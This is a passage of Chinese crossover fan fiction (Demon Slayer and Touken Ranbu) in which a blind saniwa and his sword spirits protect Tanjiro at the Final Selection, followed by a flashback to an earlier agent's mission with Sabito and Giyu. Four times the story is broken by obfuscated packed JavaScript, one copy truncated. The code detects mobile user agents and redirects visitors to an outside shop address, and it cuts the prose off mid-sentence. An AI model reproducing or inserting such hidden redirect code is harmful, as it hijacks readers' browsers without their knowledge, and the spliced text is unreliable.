鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527029|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀队员似乎没想到绫小路望会问这个,挣扎着又看了一看绫小路望腰间的刀:“找培育师学习呼吸法,然后去藤袭山参加选拔,通过就可以加入鬼杀队了。” 听到关键词,绫小路望听得更加认真了。 “藤袭山该怎么去?” “先要学习呼吸……”鬼杀队员显然和绫小路望有不同见解,但话还没说完就被绫小路望打断了。 “有日轮刀就可以杀鬼了吧。”绫小路望反驳道,“这可是你告诉我的。” “话是这么说……”鬼杀队员纠结了一下,在脑子里说服了自己,“那行吧,你既然能解决刚才那只鬼,选拔应该能通过。” “你运气不错,藤袭山选拔刚好在这段时间开始。” 这哪里是运气好,这可是处心积虑挑选的时间点。 “麻烦你了。”绫小路望向他道谢,“我会量力而行的。” 鬼杀队员给了绫小路望一张纸条,便跟着鎹鸦一起踏入夜色。 * 有了地址,绫小路望成功在选拔开始前一天到了藤袭山附近,他甚至还能在附近找个地方借住一晚,准备第二天傍晚时开始的选拔。 为了让陆奥守吉行指路,尽快到达目的地,绫小路望这几天走的都是山路。 紫藤花的味道扑满了鼻尖,浓郁的气味甚至让人在呼吸时稍感不适。周围的人似乎早已习惯了这个味道,脚步声来来往往。 虽然绫小路望打扮稍显怪异,但参加选拔的人似乎都沉浸在紧张和焦虑中,少数人兴奋地东张西望,更加注意不到绫小路望了,手中的导盲杖也被当真是装饰。 毕竟怎么会有真的盲人杀鬼呢?又不是人人都是岩柱。 “左前方,带着狐狸面具的少年。”陆奥守吉行一直在帮绫小路望注意着周围的人,看到灶门炭治郎后,陆奥守吉行赶紧出声提醒。 绫小路望微微点头:“我们等下跟着。” 他站在人群后,听着陆奥守吉行复述的灶门炭治郎的一举一动,下意识压低帽檐。 时间溯行军……会什么时候来呢。 出阵的人选绫小路望早就决定好了,只要感受到周围时空波动,他就会立刻让刀剑男士来到这个世界。 绫小路望借着人群的遮掩,一路跟着灶门炭治郎。 “前面是两个小孩子,一男一女,现任鬼杀队主公的孩子。”陆奥守吉行提醒道,“应该快开始了,上次就是这个时间点。” 果不其然。 没过一会儿,站在灶门炭治郎面前的两个穿着女式和服的孩子开口了。 "感谢各位今夜来参加鬼杀队的最终选拔。" 她们的声音并不整齐,一前一后响起,造成了一种诡异的、空洞的回声感,配着沉下来的天色,让人不寒而栗。 “在这里面活过七天,那就是最终选拔的合格条件。” “那么,” 她们对着人群微微鞠躬, "请一路走好。" …… 这是在咒人吗? 绫小路望不理解,但是他选择尊重。 抬腿,他跟上了灶门炭治郎的脚步,不远不近。 还要啃七天压缩饼干。 想想就烦。 27.藤袭 藤袭山里草木疯长,枯枝落叶铺满地面,随处可见横生的细碎树枝。灶门炭治郎跑步时脚步轻快,转眼冲出去许多距离。 为了不被脚下的树枝绊倒,绫小路望不得不直接把身体控制权交给陆奥守吉行,由他来跟着。 刀刃划破空气的声音与恶鬼的嘶吼声交织在一起,在寂静的山里格外刺耳,清晰传入绫小路望耳中。 听着前方传来的打斗声,大致能猜出战况激烈,绫小路望十分不解:“不是要活过三天吗?为什么他第一天晚上就这么积极?” 陆奥守吉行也给不出具体回答,思索了一下,给出回答:“我之前随前任审神者出任务的时候,也有一个人从第一天晚上一直杀鬼。” “这样的人,不仅会积极杀鬼,他们还会救人。” 仿佛是为了印证陆奥守吉行的话,远处突然传来沉闷的脚步声,很重,不像是正常体型的人类能够发出的声音。 灶门炭治郎显然也察觉到不对劲,脚步骤然顿住,躲到树的后面,小心翼翼地朝着山上望去。 一个巨大的球形异形鬼,通体被无数只扭曲的手臂层层包裹,密密麻麻的手臂在表面上蠕动,每一步都震得地面微微发颤。 “是手鬼。” 陆奥守吉行把手放在了刀柄上,进入戒备状态。 绫小路望看过任务资料,自然知道手鬼是什么。他凝神感受着附近的灵力波动,却始终没有察觉出时间溯行军的动静,微微蹙眉。 但应该也快了。 绫小路望想,藤袭山上唯一需要注意的时间点就是手鬼了。只要能稳住,大致历史就不会偏移。 另一边的灶门炭治郎为了救人,已经咬牙迎了上去。 “水之呼吸,贰之型” “水车” 日轮刀划出一道流畅又凌厉的弧线,利落地将伸长的那只手斩断。 “哇哦。” 目睹了这一切的陆奥守吉行感叹了一下。 正当绫小路望以为可以通过陆奥守吉行欣赏到灶门炭治郎的实力时,突然听见空地上的一人一鬼开始闲聊。 从现在的年代一直聊到灶门炭治郎的培育师。 绫小路望:这就有些突然了。 没忍住,他低声跟陆奥守吉行蛐蛐道:“为什么不直接开打?” 这跟他想的不一样。 没听说过反派都死于话多吗? 好吧,现在这个年代确实没人听说过。 或许是觉得刚进入选拔的人都不强,手鬼讲起了故事,根本没把灶门炭治郎放进眼底,才有闲心和他周旋。 像是故意刺激灶门炭治郎一般,手鬼慢悠悠地道:“……所以我就斩断了她的手脚,” “然后……” 恶毒的话还没说完,灶门炭治郎终于忍不下去,举起刀就往手鬼所在的方向冲上去。 陆奥守吉行微微绷紧身体,随时准备出手。 谁也不能保证现在手鬼的实力到底如何,时间溯行军有没有提前派人做过手脚。 他们只需要保证灶门炭治郎不被手鬼伤到致命处就行。 手鬼自然不会站在原地任由灶门炭治郎砍杀,包住身体的手臂们像是弹簧一样突然伸长,从不同方向向灶门炭治郎发起攻击,攻势极为凶狠。 绫小路望仔细听着刀面划过空气的振动声,可听着听着,他发现了不对劲。 有时空被入侵的噪音。 “来了。”绫小路望低声说道,声音笃定。 此时战场中央,手鬼的手臂不断再生,伸长,以至于阻挡了灶门炭治郎看向外界的所有目光,引以为傲的嗅觉也因为注意力全部集中在手鬼身上,没有发现突然出现在暗处的一道道影子。 天空莫名泛起了红,几道光柱从天空中投下,通体漆黑,带着阴冷气息的时间溯行军从里面走出,将灶门炭治郎和手鬼所在的空地包围了起来。 “保护好自己,主公。” 陆奥守吉行不能用绫小路望的身体加入战斗,叮嘱后,他撕碎了之前准备好的符,将他们现在所在的时空坐标发回了本丸。 随后切断和绫小路望的连接,刀剑表面闪了闪,下一秒陆奥守吉行化为人形出现在绫小路望面前。 “……千万不要出去。” 陆奥守吉行再次叮嘱,不确定时间溯行军的人会不会发现绫小路望,只能速战速决。 一个时空最多允许六位刀剑男士存在,时间压力不会让不属于这个时空的人存在太久。 剩下五位均是粟田口的极短。 药研藤四郎等刃早就在时空转换器前等着,在收到传回来的坐标后,一刻都不敢耽误,不出片刻就落到了绫小路望面前。 “大将。” 药研藤四郎将一把打刀塞进绫小路望手里,“这是放在仓库里的重复的刀剑,即使输入灵力也不会有刀剑男士显形,您拿在手里,保护自己。” 虽然绫小路望看不见,但总好过手无寸铁。 简单交代完毕,药研藤四郎不再耽搁,身形一闪,便如同离弦之箭般冲入战场,与陆奥守吉行等刃汇合,共同抵挡时间溯行军的进攻。 感受到身边多出来的陌生气息,灶门炭治郎微微一怔。虽然疑惑,灶门炭治郎却无暇顾及,心里只剩下斩断手鬼头颅这一个想法,愈发卖力地挥舞着日轮刀。 他并没有闻到腐烂的臭味,不是鬼那就没关系。 时间溯行军很少会直接对历史人物下手,但这次却直接向灶门炭治郎出刀。 或者说,他们打算帮手鬼拦下日轮刀的攻击。 刀剑男士自然不可能让他们得逞。 六刃配合默契,身形轻快,招式凌厉,一个又一个的时间溯行军被击退,时间溯行军的血还在半空中就消散,不留一丝痕迹。 刀锋相撞,振刀声引起了手鬼的注意。 微微瞪大眼睛,手鬼的视线带着目的性,看向了陆奥守吉行。和灶门炭治郎缠斗着的同时,眼中竟然透露着欣喜:“又是你,太好了。” “快帮我拦住这个小鬼!” 饶是手鬼的手臂能无限再生,也经不起灶门炭治郎一群乱砍,让一向自傲的手鬼心生烦躁,再也没有了方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530888|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悠闲。 “你认识?” 乱藤四郎横刀稳稳接下一击,然后反手将时间溯行军利落击杀。听到手鬼的话,他看向陆奥守吉行的眼里带着探究。 陆奥守吉行对着手鬼的方向毫不客气地翻了个白眼:“不认识。” 他的声音里透露着嫌弃。 随即他不再理会,转头冲着灶门炭治郎喊:“少年!快把这个恶鬼杀了,其他交给我们。” 灶门炭治郎愣了一下,很快反应过来,语气满是感激:“好!谢谢!” 连续被几个人驳面子,手鬼彻底恼羞成怒,发出一声怒吼,调动更多手臂冲向灶门炭治郎,一心想要撕碎面前的人,忘了要留住一些手臂保护自己。 “全集中,水之呼吸,壹之型” 灶门炭治郎没有忽视手鬼一瞬间暴露出来的弱点,眼神锐利,周身气息暴涨。 “水面斩!” 刀锋落下,干脆利落。 灶门炭治郎轻轻松松斩下了手鬼的头。 庞大的身躯轰然倒地,转瞬间便化作点点灰烬,彻底消散在空气中。 与此同时,发现手鬼已死、篡改历史计划失败的时间溯行军不再恋战,做出了撤退的决定。 “要追吗?”信浓藤四郎站在原地,收刀入鞘,随意地开口问道,语气里丝毫听不出有要追上去的想法。 乱藤四郎奇怪的看了他一眼:“根本追不了吧,我们又不知道时间溯行军大本营在哪。” “真可惜啊。”陆奥守吉行将刀上血迹甩下,利落收鞘。 就跟来时一样,同样的光柱降下,不同的是这次是时间溯行军主动走向光柱,不过眨眼睛,彻底离开了这个时代。 “谢……” 结束一切的灶门炭治郎转头,想要向他们道谢,却发现身后空无一人,只有地面上留下的痕迹能证明刚才这里不止有他和手鬼。 虽然很疑惑,但灶门炭治郎深知他的目标是在藤袭山存活七天,他没有那么多精力去思考额外的事情,只能握紧日轮刀,马不停蹄地往山更深处跑去。 而暗处,借着树木的遮挡,刀剑男士们确认完绫小路望的安危后,留下陆奥守吉行,其他刃回到本丸,等待下一次出阵。 “后面应该可以轻松一点了吧。”绫小路望打了个哈欠,他有些累了。 “应该是的,那我们还要跟着吗?”陆奥守吉行让绫小路望靠着他。 “跟着吧。”绫小路望是一个很容易焦虑的人,“就怕万一。” 点头,陆奥守吉行微微下蹲:“主人我背你吧,不会被发现的。” 绫小路望也不矫情:“谢了。” 陆奥守吉行跑步时很稳,鲜少颠簸,甚至在背上有人的时候会注意不进行大幅度的动作,绫小路望甚至觉得自己可以在他背上睡一觉。 这么想着,他放任自己意识陷入最深处。 听到耳畔的呼吸声愈发平静,陆奥守吉行放轻了动作,脚下速度不减。 “安心睡吧,主人。” 这是绫小路望入睡前听到的最后一句话。 28.御守 接下来的几日,藤袭山的夜晚依旧寒冷阴森。绫小路望和陆奥守吉行一直隐匿在山林之中,跟着灶门炭治郎,晚上斩鬼,白日休息,不主动现身,不干涉任何战局。 安稳地度过了余下选拔的时间。 最后一天下山的时候,绫小路望没有选择露面,鬼杀队的人知不知道跟他没有关系,会不会把他写进队员名单也不在意,这个世界对他来说无关紧要,他的任务只有保证历史原本的轨迹不会发生改动。 确认灶门炭治郎完好无损的通过最终选拔,绫小路望轻轻敲了敲耳边的无障碍阅读器,这是暗号。 ——他的无障碍阅读器早就和通讯器做了连接,下山前他就已经和在总部观察情况的如月星凛联系上,听到暗号就把他和陆奥守吉行传回总部,等待下一个可能的时间点。 柔和你的白光一闪而过,没有声响,二人的身影彻底消失在了原地,仿佛从未踏入过这座大山。 回到时之总部等到后续命令的绫小路望并不知道,迟迟没有等到他挑选玉钢的鬼杀队员向现任鬼杀队主公——产屋敷耀哉禀告了此事。 “是吗。” 坐在廊檐下的人面容被狰狞的紫色疤痕遮盖,双目失明,左手微微抬起,一只鎹鸦乖巧地落在手指上,“又是不会呼吸法、穿着黑色斗篷戴着帽子的孩子吗。” 声音轻柔温和,带着一丝通透:“不用担心,那孩子想要日轮刀会自己回来的。” “下次遇到了,可以帮我请他过来坐一坐吗?” 脚步从屋内传来,产屋敷耀哉没有回头,精准的叫出了来人的名字。 “天音,过来休息一下吧。” “耀哉大人。”天音将手中的托盘放下,靠近产屋敷耀哉坐下,“是发生了什么好事吗?” “并不算什么很好的事情。” 话虽如此,产屋敷耀哉的嘴角却噙着一抹淡淡的笑意,“你还记得几年前的最终选拔,有一个不知去向的穿着黑色斗篷的孩子吗?” “是水柱说的那位……?”天音有些迟疑,回想了一下,“那个人又出现了?” 产屋敷耀哉轻轻颔首:“而且又一次参与了最终选拔,据说,这次连天空都有了异象。” “那可不得了了,”天音捂嘴惊呼,“耀哉大人是想找那个人吗?” 产屋敷耀哉拿起天音放在一旁的茶杯,抬手间,下滑的布料露出了半个系在手腕上的御守,陈旧的御守上绑着的珠子在阳光下微微反光。 天音没有错过那丝反光,顺着将目光落在产屋敷耀哉的手腕处,语气带着惋惜:“已经没有效果了啊……” “别这么说,天音。”产屋敷耀哉制止了天音的话,语气中带着释然。“本来就不是属于我们的,不能强求。” “如果碰到了,不仅要问清楚当年的事,还要跟那孩子道谢才行。” 天音没有说话,安静地看着产屋敷耀哉被诅咒侵蚀地不成样子的眉眼,眼里带着说不清道不明的复杂。 片刻后,她轻声道: “请去休息吧,耀哉大人。” * “任务完成得不错。” 回到总部听到的第一句话就是如月星凛的赞扬。 绫小路望和陆奥守吉行稳稳地出现在时之政府总部的时空转换器面前,身上还带着一丝未散的属于深山草木的腥气。 绫小路望坦然地接受了这份赞美,没有谦逊,直白地提出了自己的诉求:“希望下次的坐标可以更准确一点。” “是啊是啊,冬月大人你是不知道,我们差点没找到路,绕了好久。” 陆奥守吉行也不是第一次和如月星凛打交道了,立刻凑过来附和,语气自然,“还好主人够聪明。” 看着两人一唱一和,如月星凛轻笑了一下:“我下次提醒观测人员。” 她上前走了几步,拍拍绫小路望的肩,语气放缓:“好了,先回本丸休息吧。” “还有刃在等着你呢。” 不说还好,如月星凛这么一说,一股强烈的饥饿感瞬间席卷了绫小路望的胃部。连续吃了接近十天的压缩饼干,绫小路望感觉自己的味蕾无时无刻都在被折磨,干瘪乏味的食物每一口都味同嚼蜡。 此刻一提到本丸,绫小路望感觉自己从未这么想念过烛台切光忠的手艺,心底竟生出几分急切和期盼。 在他来本丸之前,绫小路望从来不会在意食物的口味。对他来说,只要能果腹就行。对味道要求不高。 果然啊,由简入奢易,由奢入简难。 习惯真是个可怕的东西。 报告不急着上交,如月星凛检查了一下绫小路望随身携带的御守,确认上面的灵力没有损耗,也没有沾染上什么不干净的东西后就放人离开总部了。 鹤丸国永和药研藤四郎正站在时空转换器面前。 依靠在柱子上的鹤丸国永神色带着几分漫不经心,眼底却藏着担忧;药研藤四郎更是站姿端正,紧紧盯着时空转换器的动静,生怕错过一丝一毫。 看见面前的时空转换器被启动,药研藤四郎柔和了面部表情,在绫小路望回到本丸的第一时间上前搀扶住了他:“大将,累了吧。” “还好。”绫小路望说的是实话。 这几天除了吃的差了点之外,陆奥守吉行都让他按时休息,有时还会再不被发现的情况下短暂背着绫小路望赶路,与其问绫小路望有没有累着,还不如去问陆奥守吉行。 当然,陆奥守吉行不用人问。 到本丸后,这把忙碌了十天的打刀伸了个懒腰,深呼吸后转头对绫小路望说道:“我先回去睡觉了,主人。” “有事喊我就行,拜拜!” 不等绫小路望回答,陆奥守吉行挥挥手,留下一个背影。 鹤丸国永看了他一眼,又看了看绫小路望,挑眉:“看来主人和陆奥守关系不错。” “陆奥守挺靠谱的。”绫小路望回答,“当然,大家这次表现都很好,药研也很厉害,多亏你们了。” “这是我们应该做的,大将。”药研藤四郎轻笑一下,“既然大将不累的话,烛台切殿在等您。” 他抬头,仔细端详了一下绫小路望的脸:“大将瘦了。” 绫小路望对这句话不予反驳:“走吧,我也挺想烛台切的。” 主要是想他的饭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533353|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 绫小路望准备干粮的时候没有避着其他人,因此烛台切光忠猜测绫小路望回到本丸后,除了休息之外应该还会想大吃一顿。 算好回到本丸的时间,烛台切光忠做了一大桌菜,专门为绫小路望热着。小豆长光也准备了一些清爽可口的点心。 两个刃顶着药研藤四郎不赞同的目光,把过量的食物端到了绫小路望面前。 “不用担心剩余,我们会解决的。”烛台切光忠解释道。 此时还不是饭点,因此就餐的人只有绫小路望一人。 回到本丸的绫小路望重新恢复了“视力”,看着面前摆满的菜品,嘴角抽搐了一下,有些无奈,但还是接受了烛台切光忠的好意:“谢谢。” 食物入口即化,好久没有让味蕾享受的绫小路望赞叹了一声。 还是待在本丸好。 如果他的眼睛能恢复就更好了。 休息完,绫小路望才有精力开始复盘这次任务。 虽然没有参与战斗,但绫小路望因为从小双目失明,其余感官都特别好,尤其是听觉和触觉。 因此,他没有错过乱藤四郎和陆奥守吉行夹杂在刀光剑影内的对话。 手鬼认识陆奥守吉行,并且陆奥守吉行曾经还帮助过手鬼。 绫小路望当然相信陆奥守吉行的阵营,他们是刀剑男士,任务是守护历史,自然不可能和某个世界内的鬼同流合污。但同样的,绫小路望也不觉得手鬼会在那个时候说谎言。 那就只能是之前的任务了。 上一次任务,前任审神者和陆奥守吉行同样遇到了手鬼。 绫小路望不知道上次任务的具体经过,只知道前任审神者和陆奥守吉行阻止了要改变历史的人,报告内对此只有寥寥几笔。 陆奥守吉行在休息,不能打扰他。 而且绫小路望心中还有些顾虑,更不可能从陆奥守吉行嘴里问出此事,而近侍鹤丸国永根本不知道这个任务的细节。 那能够询问的人选只剩下一个了,如月星凛。 绫小路望打开通讯器,找到被他指定的人。 如月星凛似乎在忙,过了好一会儿才回复绫小路望。 用通话的形式。 “上次具体经过啊……”如月星凛有些头疼,“知道是知道,我想想怎么跟你说。” “不急。”绫小路望没有催促,安静地等待下文。 “上一次的任务对象是水柱,富冈义勇,灶门炭治郎的师兄,同样也参加了最终决战,是彻底消灭鬼的其中一员。” 这个绫小路望知道:“所以上一次对面也是手鬼?” “没错,”如月星凛肯定了绫小路望的猜测,“因为上次任务已经完成了,所以给你的资料主要是后续历史。” “两次任务都是最终选拔,遇到的鬼都是手鬼。” “不同的是,你需要保证手鬼被灶门炭治郎击杀,白鸟却需要保证手鬼存活。” “并且,不能在手鬼手下救人。” 白鸟,前任审神者的代号,这是绫小路望第一次听到这个名字。 如月星凛叹了口气:“这都是什么事啊……” 29.白鸟 跟绫小路望一样,白鸟也混进了最终选拔的队伍内。 他的腰间别着两把刀,一把是陆奥守吉行,另一把是一个叫不上名字的打刀,是白鸟自己用的武器。 “那边三个戴狐狸面具的就是任务目标吗?” 陆奥守吉行好奇的声音在白鸟耳边响起,内容却让他微微蹙眉。 “三个?”顺着陆奥守吉行告诉他的方向看过去,白鸟有些疑惑,“不是说只有两个人吗?水柱富冈义勇和他的师兄”。 但就跟陆奥守吉行说的一样,白鸟也看见了三个戴着狐狸面具、腰间别着日轮刀的人,两男一女,三人正聚在一起聊天,肉色头发的男生和唯一一个女生脸上都带着笑意,剩下的黑发男生虽然没有说话,但也很认真地听着他们。 “是不是没写进去?”陆奥守吉行猜测,“因为影响不到整体进程,所以监测历史的时候就没有注意?” 白鸟摇了摇头,似乎觉得自己站在原地自说自话有些过于显眼,他默不作声地移动到了队伍的最后方,视线从未离开过那三个人。其中肉色头发的男生似乎察觉到了白鸟的视线,在他把头转向这边之前,白鸟低下了头。 他放轻声音:“我总觉得不对。” “你应该不知道,之前我和三日月有一个任务,任务目标身边也出现了一个没听过的人。” 白鸟一边回想一边说道,“后来我们发现,那个人跟时间溯行军勾结,从时间溯行军那里知道了历史发展,想要改变历史。” “因为本来就是那个世界的人,受到来自世界地保护,身份被世界意识承认,也不会被检非违使发现,我们也无法对那个人下手,只能尽力阻止。” “所以这个少女也跟时间溯行军勾结了?”陆奥守吉行的声音沉了下来。 “不清楚,但可能性很大。”白鸟语气严肃,“太过凑巧了。” “这次很难在暗处完成任务了。”他叹了口气,接受了这次任务难度直线上升的事实,“走吧,我们去打个招呼。” 另一边,看了一圈后仍旧没有找到是谁在看他们的锖兔疑惑回头,刚想说话,身后传来脚步声,一道稍显活泼的声音传入耳中。 “你们好。” 是白鸟。 见锖兔转头,白鸟笑眯眯地冲他们打招呼:“你们也是来参加最终选拔的吗?” 明知故问,但是有效。 打开话匣子的最好方法。 “是啊,”锖兔歪了下头,“我叫锖兔,这是义勇、雪姬,我们都师从鳞泷师父。” 雪姬。 白鸟记住了这个名字,他快速扫了一眼同样带着好奇看向他的少女,才对他们进行自我介绍:“我叫白鸟,是一名剑士。” “等下要一起走吗?人多安全点,还能互相照顾,轮换着休息。” 他提议道。 锖兔似乎有些犹豫,带着询问的目光看向了富冈义勇和雪姬。 富冈义勇呆呆地盯着旁边垂落下来的紫藤花,似乎在发呆,察觉到锖兔的眼神后才回过神,点头:“好。” 也不知道有没有听见前面的谈话。 锖兔似乎有些伤脑筋,于是让他们之中唯一的女生做决定。 雪姬看向白鸟的眼神中带着探究:“你是用什么呼吸法的?我们是水之呼吸。” “我不会呼吸法。”白鸟拿出早就准备好的说辞,见面前的几人有些惊讶,解释道,“我学习的是其他流派的剑法。” “主要是日轮刀都可以斩鬼,所以能杀鬼不就行了吗?” 锖兔看了眼白鸟佩戴在腰间的刀剑:“你这不是日轮刀吧?” 白鸟点头,没有对这个事实做出否认:“我之前都是把鬼绑起来,等到第二天早上用太阳消灭的,来参加最终选拔也只是想要日轮刀而已。” “这不是来找你们了,我控制住鬼,你们斩杀,一起活过七天,怎么样。” 锖兔不是一个容易拒绝别人的人,不然也不会在原本的历史上救下所有参加最终选拔的人了。看过资料的白鸟心知这一点,趁着他在犹豫的趁势追击,双手掌心合在一起:“拜托了——我不会给你们拖后腿的。” “我是一个在各地流浪的剑士,想要一把日轮刀防身而已。” “好吧,”见其余二人没有明确反对,锖兔送了口,“不会呼吸法面对鬼不会有利,不要勉强自己。” “谢啦。”白鸟弯弯眼,“你是他们的师兄吗,好靠谱啊。” “对吧,我也觉得锖兔很靠谱。”雪姬凑了过来,像是跟白鸟分享自己偶像一样,眼睛亮晶晶地, “我跟你说,锖兔可厉害了,学习呼吸法的时候不懂的地方都可以问他,锖兔全部都能回答上来。” "这么厉害!"白鸟很配合,顺势问道,“那雪姬你就是小师妹了?” 雪姬摇摇头,马尾一甩一甩地:“不是哦,我是师姐,义勇才是小师弟。” “完全看不出来,雪姬也好厉害!”白鸟故作惊讶地瞪大了眼睛,“接下来的七天我会努力的。” “没关系,我会保护你的。”雪姬眨眨眼,“说起来,不会呼吸法就来参加最终选拔,你胆子好大,不怕被鬼杀死吗。” “雪姬!”锖兔担心雪姬冒犯到白鸟,连忙制止,“抱歉,雪姬的性格有些直接……” 白鸟摇摇头:“我不介意哦,雪姬说得也是事实。” “但我总有一天还会一个人在野外遇到鬼,不可能每次都运气好拖到天亮,我需要一把日轮刀。”他耸耸肩,“真死在这只能说明我还是太弱了,怨不得别人。” “你们的志向都是斩杀恶鬼对吧,我跟你们不一样,我想看遍这个世界,所以没有那么多时间学呼吸法。”他笑了笑,“不理解也没关系,我很敬佩你们。” 锖兔被说得脸有些微微发红,不好意思地别过脸:“走吧,选拔要开始了。” 他主动转身,往前走,也不管后面的人有没有更上。 义勇拿着刀,安静地跟在后面,雪姬一蹦一跳地跑到他们身边。 白鸟轻笑一下,也跟了上去。 时限七天的最终选拔,正式开始。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535464|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然早已知晓,但真正跟在三人身边,白鸟才切身体会到锖兔的辛苦。 他自认为体力很好,也是时之政府为数不多可以上战场和时间溯行军正面交战的审神者,但精力远没有锖兔旺盛。 至少他没有兴趣见一个救一个人。 白鸟很想问他,在最终选拔的时候救这么多人,难道不是在害他们吗?锖兔救得了一时,难道还能救得了他们一世吗? 纵然有侥幸活过七天的人当后勤的例子,但这个世界上永远不会缺乏不知天高地厚之人,高估了自己的水平,低估了鬼的实力,选择继续成为需要斩鬼的鬼杀队正式成员。 但是连最终选拔都过不去的人,在真正面对鬼的时候,真的能够活下来吗? 他想,那些人,应该只会变成让鬼增加实力的口粮吧。 与其这样,不如死在藤袭山内,至少山内被圈养的鬼是可控的。 不, 白鸟突然想起,就算是藤袭山内的鬼也不是可控的。 真是可笑啊。 他看着锖兔又一次斩杀恶鬼的背影,眼里带着怜悯和惋惜,殊不知,另一边他没有注意到的地方,雪姬同样在看着锖兔,只不过眼神里比白鸟多了份坚定。 “休息一下吧,锖兔。”没忍住,白鸟还是开口了,“这山上的鬼是杀不完的。” 他瞥了一眼正在对锖兔道谢的人:“况且又不是所有人都无法打败鬼,他们有腿,会跑,你不能一直操行下去。” 锖兔张了张嘴,犹豫了一下:“但我既然看到了,就不能不去。” “我也可以帮你,锖兔。”雪姬上前一步,顺着白鸟的话继续说了下去,“白鸟说得对,我和义勇也能打败这里的鬼,你不用一直冲在最前面。” 她柔声劝到。 富冈义勇也用担忧的眼神看着锖兔。 “……行。”锖兔受不了他们的眼神,只能答应,“但如果有人求救了,我还是会去。” “我们会去的,”听到了自己想要的回答,雪姬俏皮地笑了笑,“然后救命恩人报锖兔的名字。” “不要打趣我!”相处这么多年,锖兔哪能不懂雪姬的性格,装作恼怒地轻轻谈了谈雪姬的脑门,“你们也不要累着了。” 白鸟站在一旁,看着他们互动,找了个地方坐下。 太阳快升起来了,可以休息了。 手鬼是在倒数的几天才出现的,在此之前,白鸟不允许自己的状态下滑。就算有刀剑男士兜底也不行,他还没想好在三人面前大变活人的说辞。 就算时候在时之政府的帮助下会逐渐隐去他的存在,但大变活人这种事情对于普通人来说过于惊世骇俗了,这个世界的人对他的印象不能太深刻。 闭上眼,听着耳边的谈天的声音,白鸟抱紧了怀中的两把刀。 为什么命运总是对努力的人不公呢? 他不理解。 但他只能看着。 不能干涉他人命运,不能渗入别人的因果,也不能改变历史。 这是白鸟很久之前就明白的道理。 30.手鬼 锖兔是一个很值得敬佩的人。 少年骨子里带着坚韧和温柔,他对待这个世界是纯粹的。 如果这里不是任务世界,白鸟觉得自己一定很愿意交这样一个朋友。 “水之呼吸,肆之型” “击打潮!” 凌厉的喝声划破藤袭山的黑夜,白鸟已经数不清这是锖兔今晚第几次挥刀了。富冈义勇昨日晚上不小心伤到了手和腿,完全失去了战斗能力。此时白鸟正背着他,在远处看着锖兔和雪姬与鬼战斗。 似乎是因为他没学过呼吸法,即使再三表示自己剑术很好,二人也不肯让白鸟加入战斗,托他在安全的地方照顾好富冈义勇。 白鸟不能让富冈义勇死在这次最终选拔内,二人对他的交代正和他意,在最关键到来前保持体力。 时间溯行军到现在都没有动静。在富冈义勇受伤的时候,白鸟特地观察过,没有捕捉到半点时空紊乱的波动,也没有听见时间被入侵的声音。 这是唯一能让富冈义勇死在藤袭山上的时间点,时间溯行军不在这个时候出面的话,还能对哪个时间点做出改变呢? 答案很简单,锖兔。 几天的相处下来,白鸟几乎可以百分百确定,雪姬有问题。 她的焦虑越来越明显,目光总是若有若无地落在锖兔身上,眼中藏着难掩的复杂情绪。 就连富冈义勇受伤一事,也是很快把人塞到了白鸟这,然后继续跟着锖兔斩鬼。一边斩鬼一边劝锖兔去休息,视线时不时落在锖兔手中的日轮刀上。 一个师姐,对受伤的小师弟的关心是不是有点少了?不知道的还以为受伤的人是锖兔。 白鸟垂眸,把自己的情绪隐藏起来。 时间溯行军不会再出现了。 这本就不是重要的时间点,如果雪姬和时间溯行军达成合作,一人足以。手鬼再怎么样,也只是一只排不上名的恶鬼,雪姬想必早就想好了对应方式。 水柱的心结来自于他根本没有参加的那场战斗,如果时间溯行军想对富冈义勇下手,他们已经没有直接机会了。 他们只能去赌另一个可能性,那就是让富冈义勇成为不了水柱。 ……如果锖兔活着,富冈义勇还会在未来成为水柱吗? 白鸟回想着既定的历史时间线,闭眼。 他不能去想这些,他的立场是时之政府,他的任务是守护历史,他永远不能去推演这些可能性。 历史是没有可能性的,发生了就发生了,没有如果,也没有被人为造成的另一种可能。 谁都不能干预历史。 